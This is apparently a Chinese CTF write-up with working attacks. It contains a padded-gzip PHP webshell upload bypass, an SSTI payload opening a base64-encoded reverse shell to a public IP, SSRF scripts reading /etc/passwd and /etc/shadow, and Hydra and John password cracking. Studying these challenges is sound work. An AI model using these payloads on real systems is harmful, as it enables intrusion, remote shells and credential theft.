// 只要文件内容里有 <?php ... ?>,它就会执行!
$result = ob_get_clean(); // 获取执行结果
} else {
$result = "文件不存在或非法类型。";
}
}
?>upload.php内容如下:
<?php
// ... 基础配置 ...
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; // 白名单后缀
$allowed_mime_types = [ ... 'application/x-gzip', ... ]; // 白名单 MIME 类型
// 黑名单关键字:禁止文件里出现 php 标签等
$BLOCK_LIST = ["__HALT_COMPILER()", "PK", "<?", "<?php", "phar://", "php", "?>"];
// 【关键函数】内容过滤器
function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
// 只读取文件开头 4096 字节
$head = fread($fh, 4096);
// 跳转到文件末尾倒数 4096 字节处
fseek($fh, -4096, SEEK_END);
// 读取文件末尾 4096 字节
$tail = fread($fh, 4096);
fclose($fh);
// 拼接开头和结尾进行检查
$sample = $head . $tail;
$lower = strtolower($sample);
// 如果开头或结尾包含黑名单词汇(如 <?php),则拦截
foreach ($block_list as $pat) { ... }
return true;
}
// ... 上传逻辑 ...
// 1. 检查后缀名 (pathinfo)
// 2. 检查 MIME 类型 (finfo_file)
// 3. 调用 content_filter 检查内容
// 4. move_uploaded_file 保存文件
?>login.php内容如下:
<?php
session_start();
$err = '';
// 检查是否有 POST 请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
// 硬编码的账号密码检查
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u; // 登录成功,设置 session
header("Location: index.php"); // 跳转首页
exit;
} else {
$err = '登录失败...';
}
}
// ... 下面是 HTML 前端代码 ...
?>看代码注意抓住重点逻辑!不要都看
首先在login.php中抓住了登录的账号密码
其次在upload.php里面发现了文件上传的相关要求:
1.后缀的要求
2.只看首尾!!!(说明可以把一句话木马插入中间)
在index.php发现了文件包含漏洞 include
最后附上脚本
import os
# 1. 确定输出路径
# __file__ 是当前脚本的路径,dirname 获取目录,join 拼接文件名
current_dir = os.path.dirname(os.path.abspath(__file__))
output_path = os.path.join(current_dir, 'exploit.gz')
print(f"[-] 目标路径: {output_path}")
# 2. 构造文件头 (Magic Bytes)
# \x1f\x8b\x08 是 GZIP 文件的标准文件头(幻数)。
# upload.php 的 finfo_file 函数看到这几个字节,就会认为这是个合法的 gz 文件。
magic_header = b'\x1f\x8b\x08'
# 3. 构造头部填充 (Bypass Header Check)
# upload.php 检查前 4096 字节。
# 我们用 5000 个 'A' 填满它,确保恶意代码被挤到 4096 字节之后。
# b'A' 表示字节类型的字符 A。
padding_head = b'A' * 5000
# 4. 构造恶意负载 (Payload)
# 这里是真正的 PHP 代码。
# 换行符 \n 是为了防止代码和前面的 'A' 连在一起导致解析错误。
# system("cat /flag") 是执行系统命令读取 flag。
part1 = b'<?php '
part2 = b'system("cat /flag"); ' #这里/flag读不出flag 需要换成/flag/flag.txt不知道为什么
part3 = b'?>'
shell_code = b'\n' + part1 + part2 + part3 + b'\n'
# 5. 构造尾部填充 (Bypass Tail Check)
# upload.php 还会检查文件末尾 4096 字节。
# 我们在代码后面再塞 5000 个 'A',让恶意代码远离文件末尾。
padding_tail = b'A' * 5000
# 6. 拼装
# 最终文件结构:[GZIP头] + [垃圾数据] + [PHP代码] + [垃圾数据]
payload = magic_header + padding_head + shell_code + padding_tail
# 7. 写入文件
# 'wb' 模式表示以“二进制写入”模式打开文件
with open(output_path, 'wb') as f:
f.write(payload)
print(f"[+] 成功生成!")最后查看传上去重命名的文件名 传入?f=(文件名)即可
路在脚下
此题考察的是无回显ssti
首先是ssti很好看出来 但是无回显这个还是要自己去猜一下
我首先尝试使用fenjing去梭哈 但是发现跑不出来
于是先测试一下过滤的东西
{{
}}
{%
%}
{
}
{{}}
{%%}
{{=}}
{#
#}
<%=
%>
${
#{
*{
`
.
_
[
]
(
)
<
>
'
"
/
\
|
:
=
+
-
*
%
#
@
!
~
^
&
$
?
;
,
\t
\r
\n
\x5f
\x2e
\x5b
\x5d
\u005f
\u002e
\u005b
\u005d
%2e
%5f
%5b
%5d
%20
class
__class__
mro
__mro__
base
__base__
bases
__bases__
subclasses
__subclasses__
init
__init__
globals
__globals__
builtins
__builtins__
dict
__dict__
getattribute
__getattribute__
getitem
__getitem__
name
__name__
doc
__doc__
file
__file__
import
__import__
loader
__loader__
package
__package__
spec
__spec__
annotations
__annotations__
kwdefaults
__kwdefaults__
code
__code__
closure
__closure__
qualname
__qualname__
self
__self__
func
__func__
defaults
__defaults__
module
__module__
attr
format
list
string
int
float
items
keys
values
upper
lower
capitalize
title
length
count
index
join
center
first
last
random
reverse
sort
sum
min
max
unique
batch
slice
groupby
map
filter
select
reject
selectattr
rejectattr
default
d
replace
xmlattr
tojson
safe
forceescape
striptags
urlencode
urldecode
set
request
config
session
g
url_for
get_flashed_messages
application
app
lipsum
cycler
joiner
namespace
range
xrange
loop
context
messages
settings
reliner
render_template
render_template_string
current_app
session_cookie_name
request.args
request.form
request.values
request.cookies
request.headers
request.environ
request.method
request.url
request.base_url
request.path
request.host
request.scheme
request.blueprint
request.endpoint
request.view_args
request.stream
request.data
request.json
config.items
config.from_envvar
config.from_object
config.from_pyfile
config.root_path
g.user
g.db
g.config
g.session
os
sys
subprocess
popen
popen2
popen3
popen4
system
eval
exec
execfile
compile
open
read
write
readline
readlines
close
socket
platform
timeit
importlib
shutil
pty
spawn
fork
load
dump
loads
dumps
pickle
marshal
base64
decode
encode
check_output
tempfile
json
hashlib
hmac
xml
lxml
yaml
configparser
ftplib
smtplib
imaplib
sqlite3
mysql
psycopg2
redis
memcache
urllib
http
ssl
time
datetime
logging
traceback
inspect
ast
code
codecs
site
pkgutil
zipfile
tarfile
bz2
gzip
lzma
zlib
id
whoami
ls
cat
flag
/flag
/bin/sh
/bin/bash
/usr/bin/python
and
or
not
in
is
for
if
else
while
with
from
as
len
tuple
str
bool
chr
ord
split
strip
startswith
endswith
lambda
type
object
bytearray
bytes
complex
enumerate
frozenset
getattr
hasattr
hash
hex
input
isinstance
issubclass
iter
next
oct
pow
print
property
repr
round
setattr
sorted
staticmethod
super
vars
zip
java.lang.Runtime
getRuntime
ProcessBuilder
freemarker
Execute
_self
_context
getFilter
registerUndefinedFilterCallback
getFunctions
env
passthru
shell_exec
proc_open
Smarty_Internal_Write_File
writeFile
this
constructor
mainModule
require
child_process
fs
process可以尝试这个fuzz字典
之后我就使用虚拟机起了一个靶机然后再去用fenjing
方法就是使用sstilab然后自己去修改waf即可(问ai即可配置出来很简单的)
最后payload如下:
{{(sb.__eq__.__globals__.sys.modules.os.popen("bash%20-c%20'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDkuODAuNDYvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'")).read()}}路在脚下_revenge
同样的payload就可以打通
PDF Viewer
此题是一个网页转pdf的题目 构成了ssrf漏洞 为什么是ssrf呢 这里贴上解释
你提交了一段 HTML 代码给服务器。
你的浏览器 并没有去渲染这段代码生成 PDF(不然 PDF 就保存在你本地了,服务器拿不到)。
是 服务器上的 wkhtmltopdf 程序 打开了这段 HTML。
HTML 里写着 <iframe src="file:///etc/passwd">。
服务器上的程序 看到这句话,发起了读取 /etc/passwd 的动作。
发起者是服务器,且读取了敏感文件。ssrf其实我理解成多干了一件事 有些功能我们需要服务器去访问其他url 这就构成了服务端请求
只不过不一定构成了ssrf漏洞
直接贴上payload(三个)
1.(最为简单直接的)
<script> <!– 告诉浏览器:接下来是脚本程序,不是普通文字 -->
var x = new XMLHttpRequest();
// 创建一个“信使”对象(变量名为 x)。
// XMLHttpRequest 是浏览器内置的一个专门用来发请求、取数据的工具。
x.open("GET", "file:///etc/passwd", false);
// 配置信使的任务:
// 1. 动作:"GET"(去获取)
// 2. 地址:"file:///etc/passwd"(本地文件协议,目标是密码文件)
// 3. 关键参数:false(表示“同步”/Synchronous)。
// 意思是:“信使你去取文件,全公司都暂停手头工作等你,你不回来,不许生成 PDF!”
// (这是防止 PDF 生成太快,文件还没读回来就结束了)
x.send();
// 动作:出发!信使真正开始去读文件。
// 因为是同步模式,代码会卡在这里,直到文件读完。
document.write('<pre>' + x.responseText + '</pre>');
// 动作:把结果写在脸上。
// document.write 是把整个网页原本的内容清空,重写内容。
// x.responseText 是信使带回来的文件内容。
// <pre> 标签是为了保持排版格式,不然读出来的文件会挤成一坨。
</script> <!-- 脚本结束 -->2.(稍微复杂点的)
<!DOCTYPE html> <!– 声明文档类型,告诉浏览器这是标准的 HTML5 -->
<html>
<head>
<meta charset="utf-8"> <!-- 设置字符编码,防止乱码 -->
</head>
<body>
<!-- 下面是预先画好的网页内容 -->
<h2>File Content:</h2>
<!-- 这是一个空盒子,ID叫 output,里面暂时写着 Loading... -->
<pre id="output">Loading...</pre>
<script>
var xhr = new XMLHttpRequest(); // 同样创建信使,变量名这次叫 xhr
xhr.open('GET', 'file:///etc/passwd', true);
// 配置任务:
// 第三个参数是 true(表示“异步”/Asynchronous)。
// 意思是:“信使你去取文件吧,浏览器你可以继续干别的,不用傻等。”
// 既然不等了,那信使回来了怎么办?所以要设置一个“监听器”
xhr.onreadystatechange = function() {
// 每当信使的状态发生变化,就执行下面这段代码:
if (xhr.readyState === 4) {
// readyState === 4 代表“任务彻底完成,数据已经下载好了”。
var content = xhr.responseText || 'Failed to read file';
// 尝试获取文件内容,如果没获取到,就赋值为 'Failed...'
document.getElementById('output').textContent = content;
// 精准投递:
// 找到页面上 ID 叫 'output' 的那个盒子。
// 把盒子里面的文字(原本是 Loading...)替换成读到的文件内容。
}
};
xhr.send(); // 出发!
</script>
</body>
</html>3.
<script>
x = new XMLHttpRequest;
// 创建信使对象,这和前面一样。
x.onload = function(){
// 【区别点】:使用 .onload 事件。
// onload 只有在请求“成功完成”时才会触发。
// 相比 onreadystatechange,它更简洁,不用判断状态码是不是 4。
document.write(this.responseText)
// 把信使带回来的内容(this.responseText)直接覆盖写入页面。
}
x.open('GET','file:///etc/shadow');
// 【注意】:这里读取的是 /etc/shadow。
// 在大多数 Linux 系统中,/etc/shadow 只有 root 用户能读。
// 如果运行 wkhtmltopdf 的用户权限不够,这一步会报错,导致 onload 不触发。
// 另外,这里省略了第三个参数,默认为 true(异步)。
x.send();
// 发送请求。
</script>接下来介绍一个工具:https://github.com/openwall/john
这个是哈希密码破解工具 可以爆破或者还原弱密码 kali自带 可以问ai怎么装
有两种方式去爆破
1.我们不知道密码的哈希值 那就只能去直接爆破
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l WeakPassword_Admin -P /usr/share/wordlists/rockyou.txt -s 13856 nc1.ctfplus.cn http-post-form '/admin:username=^USER^&password=^PASS^:F=Incorrect password!'
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-13 08:17:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://nc1.ctfplus.cn:13856/admin:username=^USER^&password=^PASS^:F=Incorrect password!
[13856][http-post-form] host: nc1.ctfplus.cn login: WeakPassword_Admin password: qwerty
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-13 08:18:28命令如下
hydra -l WeakPassword_Admin -P /usr/share/wordlists/rockyou.txt -s 13856 nc1.ctfplus.cn http-post-form '/admin:username=^USER^&password=^PASS^:F=Incorrect password!'拆解这个命令解释一下

hydra -l [已知用户名] -P [密码字典路径] [目标IP] http-post-form '[URL路径]:[参数名1]=^USER^&[参数名2]=^PASS^:[F=错误提示词]'2.如果我们知道哈希值了(即我们是root权限 能去读/etc/shadow)
那么就简单了
┌──(kali㉿kali)-[~/Desktop]
└─$ echo 'WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::' > hash.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ john hash.txt
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
qwerty (WeakPassword_Admin)
1g 0:00:00:00 DONE 2/3 (2026-01-13 09:03) 7.692g/s 56553p/s 56553c/s 56553C/s 123456..knight
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 第一步完整复制etc/shadow的内容 一个都别删 就是看到什么直接复制就行了(WeakPassword_Admin:1wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::)并保存到一个文件里面 第二步就是还原即可
最后再说明一下/etc/passwd和/etc/shadow的区别
1.两者都是用户管理文件
2./etc/passwd一般都能读到 主要是关注三点
用户名是什么 目录是什么 能否登录(即有没有/bin/bash)
3./etc/shadow 主要是看哈希值密码的